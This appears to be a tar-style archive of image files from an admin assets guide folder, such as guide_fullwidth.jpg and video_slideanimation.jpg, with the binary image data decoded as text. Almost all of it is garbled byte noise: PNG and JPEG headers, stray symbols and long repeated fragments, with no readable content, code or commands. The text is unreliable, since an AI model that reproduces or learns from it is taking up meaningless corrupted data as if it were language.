jYV=%u^vʏ]K>ԤEf5d1CR>Oԕ=-޹}o~_/_w~VGt]GoD2Ԇ+ثohek{SbT9p Q7Y8:YG0DTDbc4eΟ|cq~{jpH׸i*:A IDATWa8Q^?UUw[_o~0.%f".|S_2ʏ$$6H8swr&6n|jyͅ}DF n; 9g-Ω󞔪싛$ ý+&;gڦ=[> z1Ò.dȏ,χk4#ZVzOUzRZ&HNV?'HJ 4e1WeGiݔK\E%)Zl\2Xw5SX\yKtvT$ɸĚ/$hhy6k&XǼKnhj*U*/" )R[G ! {ZQE}rMDlv ibIp܇Cͫ[h1vL!O XQX˼pqpbcxyJ WT51i'` x}8&ͬS.y$ 4>_},NxS( *h0 7qЛ)ECJufAUF+b{͈lfyWllRAz"9j<3 /ݎL/Lod|c)lNLNʣ_4Uʤ\~WLv=YdVהT.%Ji΃06|QRL55?׏㉺w@OEq  9rsacrơSP;fTܲ_ F.WZ/@2HTHY=*O᧬:C"Hy~_Y$}T?Co ֏; uY&;&V?.Չȸ{  +YƝk|R  bY-8ow=߰v]$YD"Gm5fl&H eFُ3}Ǯ°&ؔ2)PldSi=]w~B/epy {ՐIJ0)z2\V$2PJ,uY^0Bfzz&&_/)lfb%Wi ntM!4Q z?uMRտf8gJ=cfNޒA˻$꫋AR)#yDi8%`LMr͵ŜQɡ9Z+vr 6 iټBM˷9#}yO ~8uU%`bdusX77{le.;bgyC6;c<#*I_aLQ=usĄHqVD%+w_zǙl8~*⟉Y."C]6Đ#s8SWʺ5ޙh+H4 DPFd1!d֪=;󽮑M4 ݎm'!зX_eӶ?UB1}.Ǽ=، <%+AS3W) E'8d.(Ce9;7e-HBrr",gsC/sd@ܧ77sz-ɜ%^(DϚHP0_U ;WjH&3bs"w v:[v0 $cF% HΉˀf@7HY"'pu3bWo.qCPU5!Fy}. o'|[ݷhD*K 4%1%  Ҟ@~RNY )`Dpl * $MQqI )* AR ǐK4E'HTkQ A}⼂q93*Kg@J="1^d}NOOO?~w__舮4Tf ySڡֈi]ݥ''#)~I#Mb3]X]mB" )f]A XYt'P5ɍ`罖:U0|.ŏd#گPsA-%>*(CKqV$ZQCM>*H"cլ8'%Yh1Xd[$aϒ55AM7 jbu-Ť(Rv*3"'g* ~MN Cr<$ۋ{XW!}55K/ā1bd͛\s|&}< {1N޿gOXws>׮]aѨ~T7ASLŒF.7gUUټC_ڄ5 Izfњ HZc-}G\ptt10#Zv}ߏ̛b o!Eb?K:鳐"(`DQc㺛0 9q]A/e?UMeZ1LL&*s{BHfodϼu> I#͞'am;Z R"ZJLׂ1{~GcIÚ,5"/l҆>A}&Gpщ'u23m^(/*$!S/Vprrk˃C |Ѵ]lz0͊Mlj1@WWN0Zn榱]KX8:,l?o+|W'͒r l|g>)KaMyÌ(%K4t,^S q֛ocV9y)R tnZZXn6< q| E0 TU5fCa4RJtjj^}EvHNVGx1󮬿R@P I{fg?Y/RbU1Z\m-!1:q {cDxspz챼`>+4{m?-0Dp58c܀wB|Қe/[֛hXA9N,Pni恹,')dίS?WHЪWWeQM1 '$MԃyE:j[XułnQ^J}ҭtW-_Ƽ/Dy"4 u,פ% rvsz;X~eR۲lڎ!]wdxc8'WΟ\}*CSU W+ŎF8CH)GzEad.ןWWl<q?ƹs(-pt nm; R`͖/~K|`nYC"4hBe$ZbřSZ1QY|h~~~/rx*O0o|#jNV}(NFSgivyEjM 5.:8:Xq!I:ʳvO'Ɓ6kU8#t}w9::3\Y6*QTi>bS{jGSW CT mcM$ !ҧMi6^9ג&wk =hrL$@zD=_Bb7 ՘Ì@ځt}We궮qs]E_Qy=>䞬c-g@`ɒYhE.]ڶRf~}r͵׶$)Ch"32ĺ,Ч3o2N-Ias:^?_U U u+9,Tqpx+ִpt[s9ځ-ŋ(I{wrg{.KcosT,~? lD[!_9gw|Uamj9oqh*%=xnVl[e_uȦUhimqjG P棒3)3o-cL3L]9ǔ?\XrI],M/ϩf^uxsbMnj z7[Yj_璙cSsL&49 ͎rOi&rIRsF6%%0]Y9Ҹ@'De뱇DpYi+Y)i1Sӓb"#\ )`5:jWWř_'1/~KBœpΩ0:yVw9Z5i:6p30*e2Ucq' ØP,9 BHTWNy+1=&6:O`uddڜI]z %W $: ! 1vxQ{:1eA]MEMXBCl =6 XW!F~0W2*L$X)YPF>E41{OuG1eyvx>9+W/D|ȧn$)'n:Ⱦ + kPɯTzVvID2,7ܹs~L.Õq3T#+2貹Mb0/Msu />,/%WOgdeĂ1RWkGg~]g)4dKU^itHT)ZIn:wY Y-uc|%,$09a"Cy)z␶4Be,eXX'F bjl 5MK\kPѦ4]HO_ys%HQwbMTƘD]QUfF5W5\l޼n{#1-k2ecZk.'WV 卷75(']+/|)N|ޘ@0\YF{ms]:$ 6 +z-^vv; ^__ptpv@]/k#]1 %oEXk{ xH b2M! iSsAV{~X.3QJf^ayvbz7H>̧Wr$}6Ir.kU޳x̥Sڃ,0kd:%"xG罧kvg. }'"=ՐI'&-&>(h E8DdخwxҠ '!j+ Y":֐!8uf6S! m!Dg hIج'H!blI)JOJ.7w$i̐Jk`$scJ KCf1ƄQ7ƀ5H1bQiXӘTZ7hʹLtz2b@J`|˹y xt9MU{hjȨxTӢٯVXV.Rax?.63HNKVgz6N\AJ?L&Ot[%/3tPTEq΃YrDb*x]I Ѕ bީB1)#z"\le& sQ2zZ17!cA+85RQĜt}˾$^ 7G-)P8\ǙF4Sj AorghD+}3?Owe^_w6Dqv:rY5aUykdV pWn^bt3I/Zxrv7cINFQrhʑӍ2J\̤zZF f=##  7{Met?|ayc`%mY3VMNuV_" sq2T%3"~3ᵶV[j6^10'y.KXcݞ-=#|-SS}/--vZ,KߵT eK1&kke( +;'8C(-/) :@]WTfOJv#8#~K"bXeC@)2mSIMC-4=mlk;%b j=8jKf _Av;ԼID8Y>vCaJ `ae|rbTܧLJN-"gRCqg( ؃lT?r ylf^|"2`rrWΒgOS&RWK!rxh +ƌS{bjbLڎ0')`puE`RU|#qZ|-h#2) %26i18|[KqGY_Xb8$ٮ)eiKOM+CR`{T &"d+.6wx|YZGi3)-ٜ+#c uܵDUx塚@EUԋD SvJ;b6"gwiDJb~>\up,mR-؏2{PVu^F);KL)4d|Uo6}"%:iFso ¤rvv8aY/1"`L;sX䨴UY,L Ωd~L W~bma11ji%Y۵޻%o86@$Xq woJ&E+al6;B`{p푫 qcfXzQ;noprQiN8,'quv]^<7y_o?^ɱ6=e]⿗.\WpIUJmԊ.ylGH`.ԘȂLղ^E}d&U%eg2Ro~tB(Roy9c461|dMZ}?0`<=rkb:R\0< $khwcģG 19wT Yh.NՅA#pKB{ƅB WDSzrU4/v,*SZ7Q&IG-eRKW]^1UmF7HFgカԈ$"9$Uз˺vgłE hw"KQ{m}]pZq5''WHNsr*gܹO|^M`$@Iyev{U 쥬λ_;$I"')cVyl&eLfm~;uڡ0%z@u*;2<|=猔LA~7OrΡd*&oZ 3FpmJj;@C!\0_Z3>}Qz5y3u*5'kIJ۬ȡ~h2^[zA헹n I}G.$׵UC꣖*';l(&j7MVm&HӘԍ Nⴖ%Yc8:ȣyWodbɉ:?*H %DzA9=$ĤVTVږd '6œ8:\rv_,0F ''G8#偶(jO_ybFEkfK'dW^IK71=`G&`Yc|+'-o4ccmy hSe?bGS}2&f8]ui߼}D^Khhrr̎^%[z➯#W'AS Nba1aT M!jz3ùMH$_6ep&@=af;QPxPO&;0ư7&Zh `D#>TSw1c!n/ֆ㢾˘@T:V૊0RT8O?=\\t6l6$%YVuz4֫%ƀ؊gsiU5BSynwܹ{z*NNNunwxt]*O ,as*sGQصݐ. ېcQy9ޛNG5}&sF?il?dX߶N1R^&&;Ώ5sD9YhSzt/NX&7 )q^.;D\hm wnoH4cռ^KE *S% 1d۫\$Ы"mP"w% IaAVUtMTFG6mN|o=kZ?ܸo0XKsk AS"'nxxOۚCۯgv,Kf)q|xy'\]zZikwiꊓCX[.8X츆Q[/v˷.0! 7ncnԥЙvSQBwΰ Woû.D"KؘpA/|zel׎[e[}վrs9ZҎVi0BTRVVr~2/C.]ʪ&P3t! )ۮ1ic %ldx1 :p#d_Y-./BLƪ m|.Cer&j%JTMB T{!jO۔P?3F$BX6#ǝWWW\銺i W,nጡ2tQ oaXr1m/~z.cCţqi$&${ WJmI)qܓ,ϏxÆ9Z5<\;]ruD{-n˄ ' 5Z:ݖ]7Pt'>R )Q2iw?Q@NFr1oWJ5dlN[cbbwSNddٔMٙ[&`L$;gгE\6s#)"S/@Ճvd:jEHCr-W Rqk^}Mkzwm{"}w `FsתT=QU{b1L*(RҿfɱFi_ uo=NTS )eL6SP0W3$ˉ%r61)kwDM5U㮜Rp"$6 ֕{G"X3~h&ﺉj+s,X,6 &g 1]6\NX0l!)`uSsztHpqnV% ,Gټ9z~[xX6+NNsoeuCX5'1mszrL{޽C]ܸ~vs (C>(((T)sfVեdys|:e,';Mć^f3a4T4J) po ;D=s`r2urATd4*]q֭(>%B C0|/Z-y'xW }1JeZ^Aro?&pP$ m!$%&&*w󰪪[m)SK`P[M`\YdR<ٓS5OUq."}(@;rY"c)M &9]6f[>tE<!HhFoESs1mq||jb^'/X+v-a+W%vzauhY$1lSfGGZ!GG,]-;+zoe2Z{317!2HQePil6ݭ-"FhE|;Ԋ"SdS Mror{zX;%$ Y[9kWծgmF`$! K3,546SBi()bgqOh IDAT4!VJZShɹQY-#l )")x7J `]a-)+^ ĒPqb_E#)JaYH*"3i"'1[e!"8cQmcKFkhL#vʈ*e39vt.sv[ut)nj<5n'EGժ \e%b &NNCYEN!4A#`eA7b~RW僄(!/ff $[05L~iirQQ{ U HϤ 7Wud% )l,ۮ@\TW<-} RN_ʪ"K]/,иrɋЦ;77<`:KӜ7sg>|}o]"Ocl1c^I3)qF*rllKQd9I4#7`wW],CsAH̀]:iB19y ,$ _[>>>EDmENYuixj[#`_*9s~y}} ggӝJ Ώ8b:3 Q.vШ*u]Ç`YsafFRf#hrQFkPi4,Q<͙#"'KnlrsGK ()76ȒRkK.UJM3 SфAE8&hRmZ&m+N, M}/(CBo+ŋ6ך9UԟSjK|g2OeYPA.0jYNV&^t󓴉ΉsLMAY*3oWofqj[)3TAQS-9ytEj]Pދ8Fr֏}s/,>2|'FNEGfÇgǮm|'D.z~1( h6X;xb6qNoe`i'T.vfc4&Sg.?Yݵ)|pHa2 KծIG*RU,c⥛pցP%&EA8hY9c>O 1ʶpٶh2`;6hK(}"ϫ=DL,+p@6_eB@Ƽ{҅|e5h9pGvR[-%)ɒn9{m筰NJ؎CQ@X6 ,<7 156eDxZ][us%;@On.8eաo`''y綐s V,78@o-w Ke)D6x!a[/м:aJ-)tI!vEU(J kѺ &4;A} o~ Z=E~?7nLO;onyC|[qcSw޻۸˹7"_xQM7?s:<~M|assr /] o?~4~qye6Iiuq>m|y/p9pݼydsw!~së_Ņ\ϾFkyOY?v7y-wy۟v K < Wk+cqQа9{["|TZ?a`UWT5jTFsOy&WOg$Vw?I=og{yOކ[GKQ[&󻿋'_v%۶o؉?0g<󙜳\(3^eW] ^~7o}6|˷_m~oowŗ O?7?Ó.˿Z:5V>6.rn@s||7yRajh!5r+XzOEՕ>JFѼJ|#} wCI4lo } m֎ 8s7_}wGiUFJ98m)??4s%b.B,g֩Ljrضk_k<6m|44m6yQgSJ$;.ph6Ɋ(N( r4²xFv ]EG&1 k?)[(ڟ35XI(M44铩.uNoONkv&b|{9s)%0NϷ-,vnemiY5$j~zX6!0@ǜ%1Y(IbLeUrH*X[a%wu9y&]_C*w~-{aHinモx̋?p_{#{oqauqϿ?~7"O癃vl#;%$R5Tz+KItQ'uOFbhZCVd)ds4Y+.a&̨bbue{l:v"K#Tv\\%Msc:ĠGYF\sSmTw:ml>2VGt/6lJrJ0Bl_[Mɍ &D,)(,ᗕq\Ġ,OyeUZuu.T"R՜( ր1 1M$Q &^Y[G(+W[?FsiO?n?qwϞ{yo >I$Io4=]t1?X/.nWw0EGg=,/-O]7(MgxA PCix>]"ΘDkԗ|YY@5OiZg-leYZgGUe @'cT;voy[رc{[o~6i|`@բ,K>:ګrEv~h4q%\r%mfz=4%I."|7.^,HӔfΝ;ٷo\s ˆ<t:b_p^Фn2ݷǶCJ偢i68J nWB'1xeC*lqMJ=<۞wF{[⤨ru_={}yz]?98R7^"}_ } acReU'ikuPJdYk\ۥVAZDiJg3$Ɩh~˟t>0V6&vL>eYFq];F^\p譟?C/a~ng_#ٶMdEcLfS"rOܳfkS3 YPN됃.E Hx2&Ӆ0x+ ya/=t۲g3E%YnFMk@QhpZ$^|K~3/NMWBc|,CM$bvKd:`un~e[](hx FIQ<| hTt tGDY<߫"=Gm5R\5Oo)N w w=fRGa='n5RrbvBnq~!D5Bb>HhlR8By>LJClL.")i^%__ѽO˟?q? xkyK\z>kk_|8l%/"ψ7 Oin^ϻo?÷Wk~ ??_ 9rY[[{?`Dg%͙ȌdEN! WyHӴɸI2ys܋7KrK`{.h]qW"YA:T".L)Xg>{?EgI$Im㸮=CǸpFAEڵÇSR4MzXB=(طoN0 ɲZ]])OyYuccg.{?e:VY/V];3IӌN٨"p=nGFض@JA85Pa2皶rqnz6Nڎs KeQZ03DgņǙ`we-P'ЯS:~jas5o(ZlE|,K-|(p{_%瞻\Njwy^9{v<7Wxo}/x˾>˸yի^9}#\tѓk :>Op7rӟ>\w72YYY1qNˈz12UEvץACyLDFD6f (L;ulc4$SGL=ʲ??/f0pq.")fcc.vc}ms]wDZ׭SڻHd/pd2!2ߏ /{ ʳk+Yپ=nEQ*,o HV(MHsvA0dyNu$b26㖆!krS̿Ĩh+ւtBLϵ[s;@x&}W}0nsv N_gZrj NJ{bP(-AVdQb!98ƶh(AǸ9 a R PR`g>O~]{!mډ6 !4Y /+~?drW2Ә/E>_»nV:'gcsV+^r>O.{/xwu'Y{=}4,Bi6J2Yo3fTJڭst* ҀYQ l[Q%eJ#x+?!uq$%zLjzv׾+xW\Yz֖%g='!jp:.y$A(cY8mX5dyy!^i%~Hcs,#jfrR b`yָk=XLz8M TU!gx';\9tۧYtI ʳ 'ImDL7MM*q8,KZP2bC-q`|V5n+/v 烔ڽV ye߾}A@& Ἵ#ɗ>h]y{u^'>)& k||7z+)ʁLi87 Je+(P9BfEC5HFyݙ~`̟ٞЗ^Ӂnq4U-߃)r=()K)dQBdH)<0y%ix>4p8ڭ6YQPY GI9˜+6NkQknI~o/NV mx4?SSDžh ߩx6O{mWM'hŬ(L())rE!v8IR$lm'L=Ƞő'iO=O~!4Ʉc67X^݆9vJ,,3)M>_v9wq~;_p]Dp޽q4s^{ wu'7qv9۲Lj? B40 6=bokZöm,([)<;؝RZgJSALPIј=؞/# aפ(= gJHVK)F4pW##]戆^0h6Ad:,A*Y,˸)˒0Ie;wq&1S8qx"k. 8RQۖM48Nd0!J)I2msѺY}({-LZ)QVZAXU"ֆ^p+̾؍}0{8"I&1^+ KSl!iQjuq:x!4aJ ,p}qضmɔvqR,h5:h6:O4Mi43UYRbaf1 gȶbU,ccc^R ٠'8}|x8z&\O$$Cy#exH4;f!ʲmFEtf),),-Agx,Fܹ 5DZ4MD 5@da&d<n ÐǏdi6[&Bf=fzxzF̦!fql\ū^˼vF 2$a?X1tR8ssv:{f6qW"cfBod2!ZIJ2Jhn}inmµjAKXo7qNzz|}.mI ai2XFȲtEϒ>!!֏^;5}$Ip8NJ CN8R:DIAMihZf3ǡq!xOYt](<,!۶8:4MTت7 ( :󷎭l Фn2G E3ϰt?NRFՍFdBQf3&Y²x`0Rzm;eY5p>&"FNg;mleyxSj{(*oǶiZL&$1i#,aiwt]~縤YZWlnl{.,)kt:%}k"!́1oZF5I*IðeIEJh42LY%0hla}'Z,IRl 4@ӌ5y1 Svٍ%$D 8NfI#h0ř(9|0ٴӕdYf(YR\K)J!G3|5]^8B.^kZ(s\ХEAKO~ RŖꙄ\FשnTؾP.f4 VVW+Y5Mt[ S#)HET + Q4!sPy(U-A%h`&",eFڝNd,!G"p=on*YZ`,g84j#^tUMcY]fQ4ǵ9giwRs߽thz t]#*dղd&k% *˲n:IȐ E$d kH,X56aq<$M--45:]IҸO&PxMdD(q\2EX) om42—fw2eQ'' 'I)1,8~ۖySk,o_e}}p6c X޶h4"IZ6vR織F x<`+E81BݞQ(5i rGZlIܤ²@fFT)^ o6fMA&EVnH<1(`PA8},7˼13䵶\tӁ* сNsͭ-{؀:.qb6Iv q[;A޹4L8ʦ,5fVC:GQFݤDXc8&mK {ۨ5?`8 R0Ff3*$ijF!&;z]4glۮ&tYUn R1RA,/I(ZGJYZeYqDa)l3 _[A= &,zYVw$MJ#L!EKgԞ=c]%6Bm?O1@*E_:}a|0Ɋ+/ȲI^b{.&'6AHVWW4N;Xs=62>afl\&)H -rS)^ՀFYR.dM?u\e9QGJx_7"KM#܁Z C`̢xx,N(tm;4<1Og1N"9;iF4M('"/sI`0`uu;iAТud)hV8J C̥YLZ;x#+KKСC\pL&wGr7חtKũrh>rbmҀ,EFA%YNf-bFLIf<0 ٱ} xm9SPl߶MΉtXFH!Ä21̾i:]ijda^tmMg$pi })kZPy 캆KɂN {:%g-IVDK40Ralv(Ʊmr 1I PC(i9uu=^ ]&hA4ޢr(Kh-8bm)%vǁ0{.@(u*q!ERFUb5)(z4ښ8Ji5Z؞ "E$).$I,pI#v Fz!1OQ<7J.4 qFM܉.'".h4jr6b:l6DZiehk'ȒVKeE^mf,)ڭ'1V⒲$Ih8;,[8v]O vmy(i6[(GEx^L&*cFed .̀~4Pa<&L(JBX^BfQdMk˂R8M3jȜXJ1q&cf8mD}3[| 667H@L&FC,Kj4);,ÈnE{LSF!Ic) ,`u`sNHK4|{ճށٗu^2'r]N&Lgfrb<ux<%\ess KZ,v@ !y1LYZZBUa?pHhW\,f6b#+ m,.S)M:>+++xCQfe 'Svl,b8%y^0ΰ}Lf3֢(|YfqBgZ-\'Ksj>v6Ak>~4 fHiuWy}}4͌ e9DLFX[^$2T0ڐEXKIENDB`admin/assets/images/guide/guide_fullwidth.jpg000060400000027745151724235750015407 0ustar00ExifII*Ducky<|http://ns.adobe.com/xap/1.0/ &Adobed 4(l/       02P`3@14523P41@`!qAQ"a#C1aq!1P`A@Qp Hغ G0غ G0H рql|?|" (", A @JHo!p BB("O<jsAѤz {| //H>~_}@v8@yoHSyoHS"ղhZA۽bA۽bA_9nQ7p@mފ1 1'`6EmZ, hx~WQyiC!Hy$<I$C!Hy$<I$C!Hy$<I$Cy ?~Vg+ߕoJFM&fI3$L&d2I$̒fI3$L&d2I$̒fI3$L&d2I$̒fI3$^MӺӭ:ӭ:ӭ:ӭ:ӭ:ӭ:ӭ:ӭ:ӭ:ӭ{qn7qn7qn7qn7qn7qn7qn7qn7ؔWJ~7~ K)ob5Qk)!V.ݵ޼ ~-HUʹ_A꿯bSiCJP҆4 (iCJP҆4 (iCJP҆4 (iCJP҆4 (iCJP҆4 (iCJP҆4 (iCJP҆4 (iCJP҆4 (iCJPҟ/::^Ly3Η:^Ly3Η:^Ly3Η:^Ly3Η:^Ly3Η:^Ly3Η:^LY\/zW gγo;L3;L3;L3;L3;L3;L3/r׭w֏Z>}hG֏Z>}hG֏Z>\^L& a0L& a0L& a0L& a0L& a0L& a0L& a0L& a0L& FGL#&?ÑҜ9qRSiv?U\Ws11nŮ'+\8xy9/z?Ñ6M{.z?ÑRhGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG%4M?2mnHG<$y#HG<$y#HG<$y#IK>^{zUm&)HFR2e#)HFR2e#)HFR2e#)IKI$I$I$I$I$I$I$I?rե$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$ ֗}g,%>ij{ؖ|oxύbY5HFR2e#)HFR2e#)HFR2e#)HFR2e#)HFR2e#)HFR2e#)HFR2e#)HFR2e#)HFR22m-֣JP҆4 (iCJP҆4 (iCJP҆4 (iCJQ[u>kU.VPT:uCPT:uCPT:uCQ[#r9G#r9G#rScr9G#r9G#r9G#r9G#r9G#r9G#r9G#r9G#qIҶwח.Z%+^^Ļkؗ|y{/b]tPT:uCPT:uCPT:uCPT:uCPT:uCPT:uCPT:uCPT:uCPT:?=DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDw???W|nWAhAhAhAhAhAhAhAhAhAhAhAhAhAhAhAhAhAhAhAhAhAhAhAhAhAhyԧe>{-~Vu)&&&&&&&&&&&&&&&&&&&&&&&&&&Uj(~Z=-CaL0 `)SL0 `)SL0 `)SLgM ῡ4 Ah4 Ah4 Ah4 Ah4 Ah4 Ah4 Ah4 Ah4 @-?p1:{ v?a1ݦ:Ӑ9A;>${NC7>S?ӦQEQEQEQEQEQEK/ ќoQEKw?w((((((y]:a庳C ΀PpGpGpGpGpGpGpGpGpGpGpGpGpGpGpGpGpG>഻{Z]yw-.ބv߫Dc yw-.ނ\5c3 WfAoAw:cÙ3߶Io.Мwt)o+˹iv-r.ŽwȣE(G|;Q"wȣE(G|;Q"wȣE(G|;Q"wȣE(G|;Q"wȣE(G|;Q"wȣE(G|;Q"wȣE(G|;Q"wȣE(G|;Q"wȣE1[vc?!5W^{W^{W^{W^{W^{W^{W }/?/=/?/=-]SN;SN;SN;SN;SN;SN;S,}=D>OD>OD>OD>OD>O缈'"|'"|'"|'"|'"|'"|'"|'"|'"|'"|'"|'"|'"|'"|'"|'"|'"|wϱ{kﯟb_>}_'}|N/m|^d?bw)ܧrw)ܧrw)ܧrw)ܧrw)ܧrw)ܧrw)ܧrw)ܧrw)ܧrw)ܧrw)ܧrw)ܧrw)ܧrw)ܧrw)ܧrw)ܧrw)ܧqCv??!5YRJ+RJ+RJ+RJ+RJ+RJ+R.=//}//}-VZkVZkVZkVZkVZkVZkV=?Vƭ[5ljձcVƭ[5ljձcVƭ[{QcVƭ[5ljձcVƭ[5ljձcVƭ[5ljձcVƭ[5ljձcVƭ[5ljձcVƭ[5ljձcVƭ[5ljձcVƭ[5ljձcVƭ[(/b_/=_i|{/y|^;Kؽ>nkVZkVZkVZkVZkVZkVZkVZkVZkVZkVZkVZkVZkVZkVZkVZkVZkVZ $I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$$I$I$I$I$I?I$I$I$I$I$LI$I$I$I$I$I)$I$I$I$I$I$I$I$I$OI$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$mmmmmmmmi6mmmmmmmmMmmmmmmmmmmmmZmmmmmmmm當mmmi6mmmmmmmmMmmmmmmmmmmmmmmmmmI$I$I$I$I$I$I$I$MI$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I%I$I$I$$I$I$I$I$I)$I$I$II$I$I$I$I$JI$I$I$DI$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$$I$I$I$I$I$I%$I$I$$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$Kmmmmmmmm۵mmmmmmmmmmmmimmmm[mmmmmmmmnmmmm#mmmm۵mmmmmmmmmmmmmmmmmmmmmmmmmm?Wz~Iчߗyyyyyy}/$y[;<<<<<<ϥw䙝X~ &!0*EH"TR*EH"TR*EH"TR*EH"TR*EH"TR*EH"TR*EH"TR*EH"TR*EH$D"N{w;W&-d4t}zcs6\qoc3 ;>w>/w=>H|!3M{w;W';&CJY]ϫqC(n ܡ7rPCw(n ܡ7rPCw(n ܡ7rPCw(n ܡ7rPCw(n ܡ7rPCw(n ܡ7rPCw(n ܡ7rPCw(n ܡ7rPCw(n ܡ7qCvW1!ߗ_Ytof WD_+"~ ;Vgt?Qb#lwC~m7̌;>I'6ۥC=toFh:e}DY^fz-Va;~Ϊy ׆؛l wDKAgvnvynݽ3mmmmmmmmmmmmmmmmm?Q%w??0AAAAAÂ>[VUl[VUl[VUl[VUl[VUl[VUl[Viukgv~]ޖE_!WU|_!WU|_!WU|_!WU|_!WU|_!WU|_!Wie_?""""""""""~=#=>౳ط76{CoB؟Aط76{b8B/"B/"B/"B/"B/"B/"B/"B/"B/"B/"B/"B/"B/"B/"B/"B/"B/" &?WI$I$I$I$I$I$LoKoL      =BI$I$I$I$I${%ْVȳ, >Bϐ, >Bϐ, >Bϐ, >Bϐ, >Bϐ, >Bϐ, gk=.˶ِF`, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`,c_!|_!|_!|_!|_!|{'O!<O!<O!<O!<O!<O!<O!<O!<O!<O!<O!<O!<O!<O!<O!<O!<O!<&'1/-Ŷض{bX_][k 뽋m`r, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`, 6̀`8admin/assets/images/guide/video_slideanimation.jpg000060400000051366151724235750016412 0ustar00ExifII*Ducky<http://ns.adobe.com/xap/1.0/ &Adobed J%;R       0 @0P!1 "235A#C`p$4DBE1!20AQ"@PaqR Br`#3bCS0P! @!1QaAq 0@P`рp XRJ3,hA@IT*T$5*dT& .Td!,TH X$Ar.@(2%mצx^|$<2Vww[(pհӷ_wFww[)bѝ (9OF/>+~uNyrgdUN|و/zlmWKeڳ;4\oX;{o$(_?v?I/xVoC@(!HPBaP&e H$H $Lr?fOϬ&2@$IA$q(r@?g_~N*t9 ?'O:iP -~I<*faT r RMA@,@*@$СPIEʕ8NMI3*lTI@f*@l\̓$bb (A( N LAf1$ڴ) /W4 A $A  $  4=S*.I.Thf43=c@=3s9H:  8JA$I  @$A&x8yzD,`r%Apjye@JIc#,b\*bAsJ A3,n`hflPS;@Ab $ ͊6*AAX MGVe@Xݯ6y:m={nAɿ (=m/Nf`q=? +ɳg>y:mj~.D.YcP%O^@f?W3`;5R?v}`{~oOzKOy{ ?5~E</c 6 eH?j_?;?1L@mẀ~Կ^0>P=*lyPRqbV @ @P@ @QPf0~"^( HI\wazPrZAT.0pE@^M'{ ft9"e3qpV:pyZRKt -RU!quWu@0EwP *Ul&Fe`Z56$ }Q&`r072*A}qGW>͎s<⇚}!rN A}}1S2 hpX5,t,d1*%lumQQPbuV9cժPUmTr1Tk c0V91TjT"#k_"goU-r*|7Lo2" b-^UU*9PҫDrUV-UR/uQBQ.Zk{sߡzU񪗩zy#Xb1F#b1F#b1F#>z(PB (#b1F#b1F#b1CoӧZc}="5T]WѵkOAIR#Y "I#%Y_DDsI$te+"Q{SqVIbeUU5hIg1;7L.tz _I2i=g=y^+ 8.qs\8.qs\8.p-KN^M8.qs\8.qs\8|o|7ݻi~?`}v(/.r5;,a4'ƞdwó.߯Ed꧷GW*|R\pةE(TT-['TT-wS"DحEer̋kUu2eA;Inʩ%UwmD[iO\Z|+*ӐlWKV 'ɓmt %d:JҪʨKT|>'7Ûk|*TRJ*TRJ*TR|Z*SQ!b_)bPB (PB (PB (PB (PB (PB (PB (PB (PB rVRǨȞ-jW#~]P+$FG~tDd&ƐF~EUaHR; Dֹ͎v~-*7j,kc)kƫvsXH3kJ*#܈JRZsQou׺US#dp=LUGܒ=6iZ떫<2YeJ%O$d.y8SqN)8SqN)8SqN)2EPXSqN)8SqN)8SqN)83wjvI{<1C$n7/[itQ|R1 >B?v?X&eћяflOct9nD+w;'GZfQV4ѷ6c2kv΢"K"R,oEEM2Ww 7+>B?IH[+OY޺|}lv]z;'Rm$DgAd!C,I $2Hd!C,Y $2d!C$֮k~(ǓC,2|lZ;$I $2Hd!C,I $2d!C,I dʾM۴G?쿰_[M}Ν|5?+c i>6}ZEJ7;aٻzoף |e*zhv,n\&,U]"s*r.9DEQZH[J{DE5J.W; kWoZ|~̈́ 6-Pq"w,qnwYp7s{ݣǬ=F h6tG{nYwhGn`M¦-6)w"?rܦQɺs޻GVI.MYM3$g^(eP r!r!rB.B.B.B.AWȝ(DU'H,N-w' ~,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ficA3vۆQ>W*Q|Ȩ1B|bwXdmPH Ld1d&yfl۸jC5puhض ;*maY"mmAM87[8mvmsrbn#yhcsڒGUIk%cܿvBY8hwbs$YVb߳Ս]"5$dic1f3c1f3c1f3PB (Pc1f3c1f3c1f3+z)WuQڅ觍t^WNqQEQеtu< ] h 